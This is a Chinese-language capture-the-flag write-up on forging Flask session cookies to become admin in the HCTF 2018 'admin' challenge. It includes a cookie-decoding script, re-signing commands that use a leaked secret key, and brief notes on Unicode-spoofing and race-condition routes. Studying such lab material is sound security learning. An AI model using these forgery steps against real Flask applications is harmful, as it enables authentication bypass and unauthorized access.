flask session伪造之hctf admin
时间:2023-11-26 21:37:02
知识点:
flask的session是存储在客户端cookie中的,而且flask只签名数据。众所周知,签名的作用是防篡改,不能防止被读取。flask因此没有提供加密操作session所有内容都可以在客户端读取。还有一些session存储在数据库或服务器中的文件。
关于只有admin才能读取flag 我们可以伪造这个话题session伪造身份;
步骤如下:
伪造代码:下载地址:https://github.com/noraj/flask-session-cookie-manager
1.先得到网站session值,F12 cookie在里面得到,然后将session解密:网上有很多解密脚本;这里我的是:
#!/usr/bin/env python3 import sys import zlib from base64 import b64decode from flask.sessions import session_json_serializer from itsdangerous import base64_decode def decryption(payload): payload, sig = payload.rsplit(b'.', 1) payload, timestamp = payload.rsplit(b'.', 1) decompress = False if payload.startswith(b'.'): payload = payload[1:] decompress = True try: payload = base64_decode(payload) except Exception as e: raise Exception('Could not base64 decode the payload because of ' 'an exception') if decompress: try: payload = zlib.decompress(payload) except Exception as e: raise Exception('Could not zlib decompress the payload before ' 'decoding the payload') return session_json_serializer.loads(payload) if __name__ == '__main__': print(decryption(sys.argv[1].encode()))
代码可以放在从https://github.com/noraj/flask-session-cookie-manager 下载来的session伪造加密代码文件cmd使用
使用方法:python session解密.py session值
例如 :
>python session解密.py eyJ1c2VybmFtZSI6eyIgYiI6IlozVmxjM1E9In19.XyZ3Vw.OcD3-l1yOcq8vlg8g4Ww3FxrhVs
结果:
2.解密session伪造需要密钥,所以我们需要找到它的密钥来伪造:通常是伪造admin,将用户名改为用户名admin
使用方法:这flask伪造通常使用伪造加密和解密encode ,
语句:python flask_session_cookie_manager3.py encode -s "密钥" -t "session解密结果(更改用户名)"
例如
python flask_session_cookie_manager3.py encode -s "woshicaiji" -t "{'username': b'admin'}"
3.伪造后的session重新输入cookie;
HCTF admin 为例:
首先我们随便注册一个账号密码,在改密码界面的源码中可以得到提示,有用的源码在提示中;
这个问题看到的源代码需要从给出的提示中找到,具体过程参考其他wp,反正拿到下载路径后,先看路由route 虽然这个问题里什么都没有;
参考:BUUCTF [HCTF 2018]admin 1_wow小华的博客-CSDN博客
1.session 复制:解密session;
python session解密.py .eJw9kMGKwkAMhl9lydmDrfUieFmmWyokpVIdJhdRW52mHXepSrXiu--sCx5yyffz_SQP2By66mxhdumu1Qg2dQmzB3zsYAYoaU8JO0zSidHccrKKSOfjrGh6lP3AOr8ZySNWq5CGZoIO71nCFoeFIzFTlnXNydJSkgY4lK3P9KzTkIo4ILcQktKSxBFJGpnC3EjF90xjkOl0IPVpjcRTP76vbLLCCqnS-pxnec8q7llYjNiWnZnDcwT7c3fYXL6b6vQ-gYr85iun5OK7CfMIw2WLxT7EP4UsLMra-V2NqgnYrSVTX0L9_KWr3fZYvU2m_dF0_CenrfMAgnACI7ieq-71NQjG8PwFEfNsnQ.YsLkGA.-IhgD3h5Rju-WwMa4YbLJO69j6I
得到:
{'_fresh': True, '_id': b'2204ff0b7afede85d4990273ed1b48d567972c28fa32f669f5bdda4b537e790eb65156bc67a618628a614129c59b340ab19b1497d98c47aa63440d10f6cb8eff', 'csrf_token': b'541eb96a2cd83de176040f2a25f3db095fec81c7', 'image': b'bZV6', 'name': '123', 'user_id': '10'}
将其中的name值123 改为admin 之后 伪造;
密钥在这里config.py 中;
2.直接伪造:
python flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'2204ff0b7afede85d4990273ed1b48d567972c28fa32f669f5bdda4b537e790eb65156bc67a618628a614129c59b340ab19b1497d98c47aa63440d10f6cb8eff', 'csrf_token': b'541eb96a2cd83de176040f2a25f3db095fec81c7', 'image': b'bZV6', 'name': 'admin', 'user_id': '10'}"
python flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'2204ff0b7afede85d4990273ed1b48d567972c28fa32f669f5bdda4b537e790eb65156bc67a618628a614129c59b340ab19b1497d98c47aa63440d10f6cb8eff', 'csrf_token': b'541eb96a2cd83de176040f2a25f3db095fec81c7', 'image': b'bZV6', 'name': 'admin', 'user_id': '10'}"
结果:
.eJw9kMGKwkAMhl9lydmDrfUieFmmWyokpVIdJhdRW52mHXepSrXiu--sCx5yyffz_SQP2By66mxhdumu1Qg2dQmzB3zsYAYoaU8JO0zSidHccrKKSOfjrGh6lP3AOr8ZySNWq5CGZoIO71nCFoeFIzFTlnXNydJSkgY4lK3P9KzTkIo4ILcQktKSxBFJGpnC3EjF90xjkOl0IPVpjcRTP76vbLLCCqnS-pxnec8q7llYjNiWnZnDcwT7c3fYXL6b6vQ-gYr85iun5OK7CfMIw2WLxT7EP4UsLMra-V2NqgnYrSVTX0L9_KWr3fZYvU2m_dF0_CenrfMAtqWrTzCC67nqXn-DYAzPX_3EbhA.YsLnVA.f91nHdCGekSIwqWqz9T9cba5tkA
3.重新输入上述结果cookie中的session ,刷新;可见flag;
通过代码审计,还可以看到函数的漏洞:
Unicode欺骗
strlower()欺起的欺骗,参考
HCTFadmin--关于flasksession的伪造和unicode的欺骗_Z3eyOnd的博客-CSDN博客
就是说通过查询Unicode例如,A的特殊编码 ,如果我们注册,如果我们注册的话dmin ,函数会使函数 解析为A;更改密码或登录将A分析为a;从而达到目的;
还有一种就是条件竞争;参考上链接;